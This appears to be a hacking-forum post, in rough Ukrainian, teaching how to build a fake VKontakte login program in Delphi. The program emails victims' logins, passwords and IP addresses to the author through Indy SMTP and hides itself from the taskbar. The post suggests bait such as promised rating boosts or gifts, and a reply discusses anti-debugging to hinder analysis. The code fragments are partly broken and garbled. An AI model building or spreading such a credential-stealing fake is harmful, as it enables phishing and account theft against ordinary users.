Робимо вдосконалений фейк на Делфі
Всім привіт я _Alien_
Зараз ми будемо робити фейк ВКонтакте (для прикладу) на Делфі
Що він буде вміти:
1.Отправка логіна і пароля на пошту
2.Отправка IP
3.Проверка на валідність
Ну що ж приступимо!
Перш за все створіть новий проект, далі в Object inspector у властивості borderStyle "форми" поставте значення bsDialog (потрібно для того щоб у форми не було кнопок "Згорнути і збільшити") а тільки крестік.Дальше можете облаштувати форму під стиль Контакту, наприклад так:
Наколякал швидкої рукою!
Так тепер приступимо до основних дій!
Кидаємо на форму 2 edit, button, idhttp (вкладка indy clients), idSMTP (вкладка indy clients), idMessage (вкладка indy Misc) ну і idAntyFreeze (вкладка indy Misc) інше додавайте для зовнішнього вигляду!
Натисніть на idSMTP і в параметрі AuthenticationType поставте властивість "atLogin", також нажміне на idHTTP і в параметрі HandleRedirects поставте значення "True"
Приступимо до КОДІНГ!
2 рази натисніть на кнопку, поставте змінну data, s, e: string;
і між begin і end; напишіть следущий код:
idSmtp1.Connect ();
if idSmtp1.Connected = true then
idSmtp1.Send (idMessage1);
idSmtp1.Disconnect;
end;
Має вийти так:
idSmtp1.Connect ();
if idSmtp1.Connected = true then
idSmtp1.Send (idMessage1);
idSmtp1.Disconnect;
end;
Раджу використовувати Яндекс Пошту для мила від якого йде відправка! а мило на яке йдуть дані не важливо, хоч mail, хоч яндекс, хоч Rambler
Ну вобщем то все найголовніше зробили) думаю з іншим розберетеся! маю на увазі: Зовнішній вигляд і як буде фейк "підвищувати рейтинг" в ковичках =))) або "відправляти подарунки" теж саме)))
Поясню тільки кілька пунктів:
begin
if edit1. Text <> '' Then
begin
Button1. Enabled: = true
end else
Button1. Enabled: = false;
end;
Якщо засунути в обробник події edit1, то на кнопку натиснути буде не можна якщо в едіт1 немає тексту! (Можете змінити компоненти)
Властивість Enabled відповідає за видимість компонентів. true задіяний. false незадіяні.
SetWindowLong (Application. Handle. GWL_EXSTYLE. NOT WS_EX_APPWINDOW);
Ховаємося з панелі завдань!
Аа і якщо буде видавати помилку на end. то просто додайте перед end. ще одне end; хДД
І не забудьте кинути на форму XPmanifest (для зовнішнього вигляду)
Прошу без ФЛУДА!
Ее. А що, OllyDebugger або IdaPro вже юзати не вміємо?
ASPack в 2 кліка знімається навіть через автоматичні пакувальники.
Логін і пасворд в момент відправки у відкритому вигляді, навіть якщо їх шифрувати.
Хоча я, наприклад, підключаю саморобний юніт антіотладкі і досить непогано налагодження ускладнюється =)
__________________
[SIGPIC] [/ SIGPIC]
__________________________________________________
[FONT = "Comic Sans MS"] [COLOR = "DarkRed"] [B]
icq: [B] 5 [/ B] [B] 9 [/ B] [B] 7 [/ B] [B] 4 [/ B] [B] 5 [/ B] [B] 0 [/ B] [B] 1 [/ B] [B] 9 [/ B] [B] 7 [/ B] skype: psibooox (перевіряється рідко)
[/ B] [/ COLOR]
[B] Sanguine, My Brother! [/ B]
Поїхав. У мережі рідко. [/ FONT]